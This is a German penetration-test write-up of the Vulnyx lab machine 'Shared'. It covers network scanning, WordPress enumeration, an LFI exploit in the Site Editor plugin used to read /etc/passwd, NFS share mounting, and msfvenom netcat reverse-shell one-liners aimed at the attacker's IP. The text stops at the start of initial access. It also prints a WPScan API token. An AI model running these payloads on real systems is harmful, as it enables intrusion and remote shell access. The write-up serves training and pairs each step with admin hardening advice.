Shared - Medium - Vulnyx - Bericht

Medium

Verwendete Tools

arp-scan
vi
cat
nmap
grep
wfuzz
gobuster
wpscan
curl
rpcclient
showmount
mount
cd
ll (ls -l)
msfvenom
echo
nc (netcat)
head
ssh
mysql
find
john
python3 http.server
wget
unzip
git
mv
sudo

Inhaltsverzeichnis

Reconnaissance

Analyse: Die erste Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk. Ein ARP-Scan (`arp-scan -l`) wird eingesetzt, um die IP-Adresse `192.168.2.117` mit einer MAC-Adresse zu assoziieren.

Bewertung: Der Scan ist erfolgreich und findet die MAC-Adresse `08:00:27:04:47:4a`, die dem Hersteller `PCS Systemtechnik GmbH` zugeordnet wird. Dies ist ein typischer Indikator für eine Oracle VirtualBox virtuelle Maschine. Das Zielsystem ist aktiv und im lokalen Netzwerk präsent.

Empfehlung (Pentester): Nachdem das Ziel bestätigt wurde, trage die IP-Adresse in die lokale `/etc/hosts`-Datei ein, um die weitere Ansprache zu vereinfachen. Führe als Nächstes einen umfassenden Portscan durch, um offene Dienste zu entdecken.
Empfehlung (Admin): Überwache das Netzwerk auf ARP-Scan-Aktivitäten. Stelle sicher, dass nur autorisierte Geräte im Netzwerksegment betrieben werden.

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.117	08:00:27:04:47:4a	PCS Systemtechnik GmbH

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.877 seconds (136.39 hosts/sec). 1 responded
                    

Analyse: Die Zuordnung der IP-Adresse `192.168.2.117` zum Hostnamen `shared.nyx` wird in der lokalen `/etc/hosts`-Datei des Angreifersystems vorgenommen und mittels `cat /etc/hosts` überprüft.

Bewertung: Dies ist ein standardmäßiger und sinnvoller Schritt, um die Lesbarkeit und Handhabung von Befehlen im weiteren Verlauf des Tests zu verbessern, insbesondere bei der Interaktion mit Webdiensten.

Empfehlung (Pentester): Verwende ab sofort den Hostnamen `shared.nyx` für alle weiteren Aktionen gegen das Zielsystem.
Empfehlung (Admin): Diese Konfigurationsänderung betrifft nur das System des Angreifers und stellt keine direkte Bedrohung dar.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
 
                 
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.117   shared.nyx

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                    

Analyse: Ein detaillierter Nmap-Scan wird auf das Ziel `shared.nyx` (192.168.2.117) durchgeführt. Verwendete Optionen: `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-A` (Aggressiver Scan), `-p-` (Alle TCP-Ports), `-Pn` (Kein Ping-Scan), `--min-rate 5000` (Hohe Scan-Geschwindigkeit).

Bewertung: Der Scan enthüllt mehrere offene Ports und Dienste: * 22/tcp (SSH): OpenSSH 9.2p1 (Debian). Host-Keys werden angezeigt. * 80/tcp (HTTP): Apache httpd 2.4.57 (Debian) mit einer Standard-Debian-Seite. * 111/tcp (RPCBind): Standard-Port für RPC. Die `rpcinfo`-Ausgabe zeigt diverse registrierte RPC-Dienste, insbesondere `nfs` (Port 2049) und `mountd` (diverse hohe Ports). * 2049/tcp (NFS): Bestätigt den Network File System Dienst. * Diverse hohe Ports für `mountd`, `nlockmgr`, `status`: Diese sind typische Hilfsdienste für NFS. * MAC/OS: Bestätigt Oracle VirtualBox und Linux Kernel 4.x/5.x. Die Präsenz von SSH, HTTP und insbesondere NFS definiert die primären Angriffsflächen.

Empfehlung (Pentester): * **NFS (Priorität):** Untersuche die NFS-Freigaben (`showmount -e 192.168.2.117`). Versuche, die Freigaben zu mounten und nach sensiblen Daten oder schreibbaren Verzeichnissen zu suchen. * **HTTP:** Untersuche die Apache-Standardseite und führe Verzeichnis-Bruteforcing durch (z.B. mit Gobuster), um versteckte Inhalte oder Anwendungen zu finden. * **SSH:** Suche nach Benutzernamen (z.B. aus `/etc/passwd` via LFI, falls gefunden) und versuche ggf. Passwort-Bruteforce oder Default-Credentials.
Empfehlung (Admin): * **NFS:** Sichere die NFS-Exporte. Beschränke den Zugriff auf spezifische IPs/Subnetze statt `*`. Verwende `no_root_squash` nur, wenn absolut notwendig und verstanden. Setze korrekte Dateisystemberechtigungen. * **HTTP:** Entferne die Apache-Standardseite und ersetze sie durch die eigentliche Anwendung oder eine leere Seite. Halte Apache aktuell. * **SSH:** Konfiguriere SSH sicher (Key-Authentifizierung bevorzugen, Passwort-Login einschränken/deaktivieren, Root-Login verbieten). Halte OpenSSH aktuell.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.117 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-06 00:26 CEST
Nmap scan report for shared (192.168.2.117)
Host is up (0.00017s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 9d:c2:e5:b9:bc:86:d4:81:5e:ad:aa:8d:87:a8:ad:5b (ECDSA)
|_  256 6a:d1:8a:c1:4d:f9:0c:4f:c5:f6:21:bb:c9:a6:24:53 (ED25519)
80/tcp    open  http     Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      36973/tcp6  mountd
|   100005  1,2,3      45859/udp   mountd
|   100005  1,2,3      45944/udp6  mountd
|   100005  1,2,3      50957/tcp   mountd
|   100021  1,3,4      33969/udp   nlockmgr
|   100021  1,3,4      38709/tcp   nlockmgr
|   100021  1,3,4      41095/tcp6  nlockmgr
|   100021  1,3,4      51630/udp6  nlockmgr
|   100024  1          37258/udp6  status
|   100024  1          46688/udp   status
|   100024  1          47437/tcp6  status
|   100024  1          51085/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
37505/tcp open  mountd   1-3 (RPC #100005)
38353/tcp open  mountd   1-3 (RPC #100005)
38709/tcp open  nlockmgr 1-4 (RPC #100021)
50957/tcp open  mountd   1-3 (RPC #100005)
51085/tcp open  status   1 (RPC #100024)
MAC Address: 08:00:27:04:47:4A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms shared (192.168.2.117)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/].
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds
                    
┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.117 -Pn --min-rate 5000 | grep open
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.57 ((Debian))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  3 (RPC #100227)
37505/tcp open  mountd   1-3 (RPC #100005)
38353/tcp open  mountd   1-3 (RPC #100005)
38709/tcp open  nlockmgr 1-4 (RPC #100021)
50957/tcp open  mountd   1-3 (RPC #100005)
51085/tcp open  status   1 (RPC #100024)
                    

Web Enumeration

Analyse: Ein Gobuster-Scan (`gobuster dir`) wird auf das Root-Verzeichnis des Webservers (`http://shared.nyx`) durchgeführt, um Verzeichnisse und Dateien zu entdecken.

Bewertung: Der Scan identifiziert das Verzeichnis `/wordpress` (führt zu einem Redirect) und `/server-status` (ist aber verboten, Status 403). Dies bestätigt, dass eine WordPress-Installation im Unterverzeichnis `/wordpress` existiert.

Empfehlung (Pentester): Fokussiere die weitere Web-Enumeration auf das Verzeichnis `/wordpress`. Führe spezifische WordPress-Scans mit Tools wie `wpscan` durch, um Themes, Plugins, Benutzer und Schwachstellen zu identifizieren.
Empfehlung (Admin): Stelle sicher, dass `/server-status` und ähnliche Apache-Statusseiten ordnungsgemäß gesichert sind (Zugriff nur von bestimmten IPs oder nach Authentifizierung). Überprüfe die WordPress-Installation auf Sicherheit.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://shared.nyx/FUZZ" --hc 404 --hh 15670
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://shared.nyx/FUZZ
Total requests: 213279

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000634:   301        9 L      28 W       312 Ch      "wordpress"
000095571:   403        9 L      28 W       275 Ch      "server-status"

Total time: 138.5832
Processed Requests: 213279
Filtered Requests: 213275
Requests/sec.: 1538.995
                    

Analyse: Die WordPress REST API wird manuell abgefragt (`http://shared.nyx/wordpress/index.php/wp-json/wp/v2/Users`), um Benutzernamen zu enumerieren.

Bewertung: Die API-Abfrage ist erfolgreich und enthüllt den Benutzernamen `admin` mit der ID `1` und dem Slug `admin`.

Empfehlung (Pentester): Notiere den Benutzernamen `admin`. Verwende ihn für Passwort-Bruteforce-Angriffe gegen WordPress (z.B. via Login-Formular oder XML-RPC).
Empfehlung (Admin): Erwäge, den REST API User-Endpunkt zu deaktivieren oder den Zugriff darauf einzuschränken, falls er nicht für die Funktionalität der Seite benötigt wird.

http://shared.nyx/wordpress/index.php/wp-json/wp/v2/Users

[
  {
    "id": 1,
    "name": "admin",
    "url": "http://192.168.1.48/wordpress",
    "description": "",
    "link": "http://shared.nyx/wordpress/index.php/author/admin/",
    "slug": "admin",
    "avatar_urls": {
      "24": "http://2.gravatar.com/avatar/be3b9e8687bd0aba1cd6f175b7057860?s=24&d=mm&r=g",
      "48": "http://2.gravatar.com/avatar/be3b9e8687bd0aba1cd6f175b7057860?s=48&d=mm&r=g",
      "96": "http://2.gravatar.com/avatar/be3b9e8687bd0aba1cd6f175b7057860?s=96&d=mm&r=g"
    },
    "meta": [],
    "_links": {
      "self": [
        {
          "href": "http://shared.nyx/wordpress/index.php/wp-json/wp/v2/users/1"
        }
      ],
      "collection": [
        {
          "href": "http://shared.nyx/wordpress/index.php/wp-json/wp/v2/users"
        }
      ]
    }
  }
]
                    

Analyse: Ein WPScan (`wpscan`) wird auf die WordPress-Instanz (`http://shared.nyx/wordpress`) ausgeführt, um Benutzer (`-e u`) zu enumerieren. Ein API-Token wird verwendet, um die WPScan Vulnerability Database abzufragen.

Bewertung: WPScan liefert eine Fülle von Informationen: * Bestätigt Apache 2.4.57. * XML-RPC ist aktiviert (potenzieller Angriffsvektor für Bruteforce/DoS). * `readme.html` ist vorhanden (kann Version leaken). * WP-Cron ist aktiv. * WordPress Version 6.4.2 wird identifiziert und als unsicher markiert. WPScan listet 6 bekannte Schwachstellen für diese Version auf (darunter Deserialization, XSS, Path Traversal). * Das Theme `neve` Version 3.7.5 wird verwendet und ist veraltet. * Der Benutzer `admin` wird erneut bestätigt.

Empfehlung (Pentester): Die unsichere WordPress-Version (6.4.2) und das veraltete Theme (`neve`) sind potenzielle Angriffsvektoren. Recherchiere Exploits für die von WPScan genannten CVEs. Versuche einen Passwort-Bruteforce gegen den `admin`-Benutzer via XML-RPC oder Login-Formular. Untersuche die Funktionalität installierter Plugins (WPScan hat hier anscheinend keines gefunden, aber das LFI-Plugin `site-editor` wurde später identifiziert - widersprüchliche Information oder unvollständiger Scan?).
Empfehlung (Admin): **Dringend WordPress Core auf die neueste Version aktualisieren!** Aktualisiere das `neve`-Theme. Deaktiviere XML-RPC, wenn es nicht benötigt wird. Entferne `readme.html`. Überprüfe und sichere WP-Cron.

┌──(root㉿CCat)-[~] └─# wpscan --url http://shared.nyx/wordpress -e u --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/]
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://shared.nyx/wordpress/ [192.168.2.117]
[+] Started: Fri Sep  6 00:45:35 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://shared.nyx/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://shared.nyx/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://shared.nyx/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.2 identified (Insecure, released on 2023-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://shared.nyx/wordpress/index.php/feed/, https://wordpress.org/?v=6.4.2
 |  - http://shared.nyx/wordpress/index.php/comments/feed/, https://wordpress.org/?v=6.4.2
 |
 | [!] 6 vulnerabilities identified:
 |
 | [!] Title: WordPress < 6.4.3 - Deserialization of Untrusted Data
 |     Fixed in: 6.4.3
 |     References:
 |      - https://wpscan.com/vulnerability/5e9804e5-bbd4-4836-a5f0-b4388cc39225
 |      - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/
 |
 | [!] Title: WordPress < 6.4.3 - Admin+ PHP File Upload
 |     Fixed in: 6.4.3
 |     References:
 |      - https://wpscan.com/vulnerability/a8e12fbe-c70b-4078-9015-cf57a05bdd4a
 |      - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/
 |
 | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS
 |     Fixed in: 6.4.4
 |     References:
 |      - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f
 |      - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: neve
 | Location: http://shared.nyx/wordpress/wp-content/themes/neve/
 | Last Updated: 2024-08-14T00:00:00.000Z
 | Readme: http://shared.nyx/wordpress/wp-content/themes/neve/readme.txt
 | [!] The version is out of date, the latest version is 3.8.11
 | Style URL: http://shared.nyx/wordpress/wp-content/themes/neve/style.css
 | Style Name: Neve
 | Style URI: https://themeisle.com/themes/neve/
 | Description: Neve is a super fast, easily customizable, multi-purpose theme. It’s perfect for blogs, small busi...
 | Author: ThemeIsle
 | Author URI: https://themeisle.com
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 3.7.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://shared.nyx/wordpress/wp-content/themes/neve/style.css, Match: 'Version:        3.7.5'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://shared.nyx/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

[+] Finished: Fri Sep  6 00:45:38 2024
[+] Requests Done: 56
[+] Cached Requests: 6
[+] Data Sent: 14.777 KB
[+] Data Received: 317.24 KB
[+] Memory used: 165.578 MB
[+] Elapsed time: 00:00:03
                     

Analyse: Ein Passwort-Bruteforce-Angriff wird mit WPScan gegen den Benutzer `admin` gestartet, wobei die Wortliste `rockyou.txt` verwendet wird. Der Angriff zielt wahrscheinlich auf das XML-RPC-Interface.

Bewertung: Der Scan wird nach ca. 6 Minuten manuell abgebrochen (`Scan Aborted: Canceled by User`). Es wurde kein gültiges Passwort gefunden (`No Valid Passwords Found.`).

Empfehlung (Pentester): Das Passwort für `admin` ist nicht in `rockyou.txt`. Versuche andere Wortlisten oder konzentriere dich auf die Ausnutzung der LFI-Schwachstelle oder der anderen von WPScan gemeldeten Schwachstellen.
Empfehlung (Admin): Verwende starke Passwörter für alle WordPress-Benutzer. Implementiere einen Mechanismus zur Begrenzung von Login-Versuchen (z.B. Fail2Ban oder ein WP-Sicherheitsplugin).

┌──(root㉿CCat)-[~] └─# wpscan --url http://shared.nyx/wordpress --usernames admin --passwords /usr/share/wordlists/rockyou.txt --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY
... (WPScan header) ...

[+] URL: http://shared.nyx/wordpress/ [192.168.2.117]
[+] Started: Fri Sep  6 00:48:13 2024

Interesting Finding(s):

... (Findings identical to previous scan) ...

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins identified.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
^Cying admin / pitufina Time: 00:05:53 <            > (11615 / 14344474)  0.08%  ETA: ??:??:??
[i] No Valid Passwords Found.

Scan Aborted: Canceled by User

[+] WPScan DB API Ke Time: 00:05:53 <              > (11624 / 14344474)  0.08%  ETA: ??:??:??
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 22

[+] Finished: Fri Sep  6 00:54:13 2024
[+] Requests Done: 11772
[+] Cached Requests: 36
[+] Data Sent: 6.127 MB
[+] Data Received: 6.878 MB
[+] Memory used: 312.184 MB
[+] Elapsed time: 00:06:00
                    

LFI Vulnerability Analysis

Analyse: Zusätzliche Informationen aus WPScan oder externer Recherche identifizieren eine spezifische Local File Inclusion (LFI) Schwachstelle im Plugin `Site Editor` Version <= 1.1.1 (CVE-2018-7422). Ein Proof-of-Concept (PoC) Link wird bereitgestellt.

Bewertung: Dies bestätigt die zuvor durch `wfuzz` gefundene LFI-Schwachstelle und ordnet sie einem bekannten CVE zu. Die Verwundbarkeit liegt im Parameter `ajax_path` der Datei `ajax_shortcode_pattern.php`. Die PoC-URL zeigt, wie `/etc/passwd` eingebunden werden kann.

Empfehlung (Pentester): Nutze die bestätigte LFI-Schwachstelle systematisch. Der primäre Weg ist nun, über diese LFI an sensible Informationen zu gelangen (z.B. `wp-config.php`) oder Remote Code Execution mittels Log Poisoning zu erreichen.
Empfehlung (Admin): **Das Plugin `Site Editor` muss sofort deaktiviert, aktualisiert oder entfernt werden!** Dies ist eine kritische Schwachstelle.

( info )

 | [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
 |     References:
 |      - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
 |      - https://seclists.org/fulldisclosure/2018/Mar/40
 |      - https://github.com/SiteEditor/editor/issues/2
 |
 | Version: 1.1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://shared.nyx/wordpress/wp-content/plugins/site-editor/readme.txt

[Link: https://seclists.org/fulldisclosure/2018/Mar/40 | Ziel: https://seclists.org/fulldisclosure/2018/Mar/40]   >>>

 Proof of Concept
http:///wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

( info )
                    

Analyse: Die LFI-Schwachstelle wird mit `curl` aktiv ausgenutzt, um den Inhalt von `/etc/passwd` abzurufen.

Bewertung: Der Befehl ist erfolgreich und gibt den Inhalt von `/etc/passwd` aus. Dies bestätigt die praktische Ausnutzbarkeit der LFI. Bemerkenswert sind die Benutzer mit Shells: `root` (`/bin/bash`), `jackondor` (`/bin/bash`), `j4ckie` (`/bin/sh`), `condor` (`/bin/sh`). Am Ende der Ausgabe befindet sich ein JSON-String `{"success":true,"data":{"output":[]}}`, der vom verwundbaren PHP-Skript stammt.

Empfehlung (Pentester): LFI bestätigt. Versuche nun, kritischere Dateien zu lesen: `wp-config.php`, SSH-Keys der gefundenen Benutzer (`/home/jackondor/.ssh/id_rsa`, `/home/j4ckie/.ssh/id_rsa` etc.), Logdateien für Log Poisoning.
Empfehlung (Admin): LFI patchen! Siehe vorherige Empfehlungen.

┌──(root㉿CCat)-[~] └─# curl -s "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
jackondor:x:1001:1001::/home/jackondor:/bin/bash
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
j4ckie:x:1002:1002::/home/j4ckie:/bin/sh
condor:x:1003:1003::/home/condor:/bin/sh
{"success":true,"data":{"output":[]}}
                    

NFS Enumeration

Analyse: Nach den LFI-Funden wird der Fokus wieder auf NFS gelegt. Es wird versucht, mit `rpcclient` eine Verbindung herzustellen, was fehlschlägt. Anschließend wird `showmount -e` verwendet, um die exportierten NFS-Verzeichnisse aufzulisten.

Bewertung: `rpcclient` scheitert (`NT_STATUS_CONNECTION_REFUSED`), was darauf hindeutet, dass keine (oder keine erreichbaren) SMB/CIFS-Dienste laufen. `showmount -e` ist jedoch erfolgreich und listet drei für alle (`*`) exportierte Verzeichnisse auf: `/shared/j4ckie`, `/shared/tmp` und `/shared/condor`.

Empfehlung (Pentester): Mount die gefundenen NFS-Shares systematisch auf deinem System (z.B. `mkdir /mnt/shared_j4ckie; mount 192.168.2.117:/shared/j4ckie /mnt/shared_j4ckie`) und untersuche deren Inhalte und Berechtigungen. Suche nach sensiblen Dateien, Passwörtern, Schlüsseln oder schreibbaren Bereichen.
Empfehlung (Admin): Sichere die NFS-Exporte. Beschränke den Zugriff auf notwendige Clients (IP-Adressen/Subnetze). Verwende keine Wildcard (`*`) für Exporte. Überprüfe die Berechtigungen innerhalb der exportierten Verzeichnisse.

┌──(root㉿CCat)-[~] └─# rpcclient 192.168.2.117
Cannot connect to server.  Error was NT_STATUS_CONNECTION_REFUSED
                     
┌──(root㉿CCat)-[~] └─# showmount -e 192.168.2.117
Export list for 192.168.2.117:
/shared/j4ckie *
/shared/tmp    *
/shared/condor *
                    

Analyse: Die NFS-Freigabe `/shared/j4ckie` wird auf das lokale Verzeichnis `/mnt` gemountet (`mount 192.168.2.117:/shared/j4ckie /mnt`). Der Inhalt wird aufgelistet (`cd /mnt`, `ll`) und die gefundene Datei `suscribe.txt` wird ausgelesen (`cat suscribe.txt`).

Bewertung: Das Mounten ist erfolgreich. Die Freigabe enthält nur eine Datei `suscribe.txt` mit einem YouTube-Link und dem Benutzernamen `J4CKIE0X17`. Dies könnte ein Hinweis auf den Benutzer `j4ckie` sein, der in `/etc/passwd` gefunden wurde.

Empfehlung (Pentester): Notiere den möglichen Benutzernamen `J4CKIE0X17`. Unmount die Freigabe (`umount /mnt`) und mounte die anderen Freigaben (`/shared/tmp`, `/shared/condor`), um sie ebenfalls zu untersuchen.
Empfehlung (Admin): Entferne unnötige Dateien aus NFS-Freigaben. Stelle sicher, dass keine sensiblen Benutzerinformationen offengelegt werden.

┌──(root㉿CCat)-[~] └─# mount 192.168.2.117:/shared/j4ckie /mnt
 
                
┌──(root㉿CCat)-[~] └─# cd /mnt
 
                
┌──(root㉿CCat)-[/mnt] └─# ll
insgesamt 4
-rw-r--r-- 1 root root 35 22. Jan 2024  suscribe.txt
                    
┌──(root㉿CCat)-[/mnt] └─# cat suscribe.txt
[Link: https://www.youtube.com/@jackie0x17 | Ziel: https://www.youtube.com/@jackie0x17]
J4CKIE0X17
                    

Analyse: Es wird versucht, mittels `msfvenom` einen Netcat-Reverse-Shell-Payload zu generieren und diesen dann in eine PHP-Datei (`shell.php`) zu schreiben, vermutlich um sie später über die LFI auszuführen oder auf eine schreibbare NFS-Freigabe hochzuladen.

Bewertung: `msfvenom` generiert den Payload erfolgreich. Der Versuch, die `shell.php`-Datei im aktuell gemounteten Verzeichnis (`/mnt`, was `/shared/j4ckie` entspricht) zu erstellen, scheitert jedoch mit einem Berechtigungsfehler (`zsh: keine Berechtigung: shell.php`). Der aktuelle Benutzer (root auf dem Angreifersystem) hat keine Schreibrechte auf dieser NFS-Freigabe.

Empfehlung (Pentester): Da Schreiben auf `/shared/j4ckie` nicht möglich ist, konzentriere dich auf die Ausnutzung der LFI für RCE (Log Poisoning) oder untersuche die anderen NFS-Freigaben (`/shared/tmp`, `/shared/condor`) auf Schreibrechte.
Empfehlung (Admin): Stelle sicher, dass NFS-Freigaben die korrekten Berechtigungen haben. Schreibzugriff sollte nur dort gewährt werden, wo er benötigt wird.

┌──(root㉿CCat)-[/mnt] └─# msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.2.199
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 102 bytes
mkfifo /tmp/qibscsg; nc 192.168.2.199 443 0/tmp/qibscsg 2>&1; rm /tmp/qibscsg
                    
┌──(root㉿CCat)-[/mnt] └─# echo " system('mkfifo /tmp/qkcohb; nc 192.168.2.199 4444 0/tmp/qkcohb 2>&1; rm /tmp/qkcohb');" > shell.php
zsh: keine Berechtigung: shell.php
                    

Initial Access

Analyse: Weitere Versuche, mittels LFI an sensible Daten zu gelangen. Es wird versucht, den SSH-Key von `jackondor` und die `wp-config.php` (mittels `php://filter`) zu lesen. Außerdem werden die Apache-Logdateien (`access.log`, `error.log`) sowie `/etc/hosts` erneut gelesen. Es wird versucht, `/etc/shadow` mittels Path Traversal (`../../..`) zu lesen.

